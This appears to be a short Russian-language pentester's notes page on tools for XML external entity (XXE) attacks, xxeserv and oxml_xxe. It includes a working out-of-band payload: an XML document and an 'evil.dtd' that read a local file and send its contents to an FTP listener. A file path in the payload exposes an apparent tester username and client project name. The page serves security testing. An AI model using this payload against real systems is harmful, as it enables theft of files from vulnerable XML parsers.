Tools
xxeserv
ftp server для отлова xxe (Go): https://github.com/staaldraad/xxeserv
пример использования
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE dtd_test [<!ENTITY % sp SYSTEM "http://127.0.0.1:9393/evil.dtd"> %sp; %param1; %param2; ]>
<dtd_test>&exfil;</dtd_test>
evil.dtd
<!ENTITY % data SYSTEM "file:///Users/o.petrakov/Work/pentest/projects/unicredit_web_08_2020/scripts/socket.io/test.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://127.0.0.1:2121/%data;'>">
<!ENTITY % param2 "<!ENTITY exfil2 SYSTEM 'file:///Users/'>">
oxml_xxe
сгенерировать документы и картинки с xxe нагрузкой: https://github.com/BuffaloWill/oxml_xxe
Last updated
Was this helpful?